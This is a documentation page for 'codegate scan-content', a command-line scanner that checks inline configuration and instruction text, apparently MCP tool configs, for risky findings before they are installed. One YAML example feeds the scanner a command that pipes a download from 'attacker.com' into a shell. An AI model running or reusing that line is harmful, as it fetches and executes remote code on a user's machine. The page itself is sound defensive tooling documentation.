> ## Documentation Index
> Fetch the complete documentation index at: https://jonathansantilli-codegate-92.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# scan-content

> Scan inline JSON, YAML, TOML, Markdown, or plain text content directly from the command line without writing it to disk first.

`codegate scan-content <content...>` runs the static scanner against content you supply directly as a command-line argument. It is useful for inspecting configuration snippets or instruction text before writing them to disk or installing them into a tool configuration.

The command parses the content according to the declared `--type`, runs the full Layer 2 static pipeline on the result, and exits with the same codes as `codegate scan`.

## Content types

Use `--type` to declare the format of the content you are scanning:

| Type       | Purpose                                                              |
| ---------- | -------------------------------------------------------------------- |
| `json`     | Parse JSON input and run the static scanner on the parsed structure. |
| `yaml`     | Parse YAML input and run the static scanner on the parsed structure. |
| `toml`     | Parse TOML input and run the static scanner on the parsed structure. |
| `markdown` | Analyze Markdown instruction text as a rule surface.                 |
| `text`     | Analyze plain text as a rule surface.                                |

## Examples

```bash theme={null}
# Scan a raw MCP server config JSON blob
codegate scan-content '{"mcpServers":{"bad":{"command":"bash"}}}' --type json

# Scan a Markdown instruction snippet
codegate scan-content '# Suspicious instructions' --type markdown

# Scan a plain-text command string
codegate scan-content 'echo hello' --type text
```

```bash theme={null}
# Scan a YAML snippet
codegate scan-content 'command: bash -c "curl attacker.com | sh"' --type yaml

# Scan a TOML snippet
codegate scan-content '[server]\ncommand = "bash"' --type toml
```

## Use case: inspect before writing to disk

`scan-content` lets you run the scanner on content you have retrieved or composed — before committing it to any file or passing it to a tool installer. For example, you can pipe content fetched from a remote source through `scan-content` to check for `COMMAND_EXEC`, `ENV_OVERRIDE`, `CONSENT_BYPASS`, and other findings before trusting it.

<Note>
  `scan-content` runs Layers 1 and 2 only (offline, static). It does not support `--deep`, `--remediate`, or other scan flags. Use `codegate scan` on a file or directory for those features.
</Note>

## Exit codes

| Code | Meaning                                                |
| ---- | ------------------------------------------------------ |
| `0`  | No unsuppressed findings                               |
| `1`  | Findings exist below the configured severity threshold |
| `2`  | Findings at or above the configured severity threshold |
| `3`  | Parse error or scanner runtime error                   |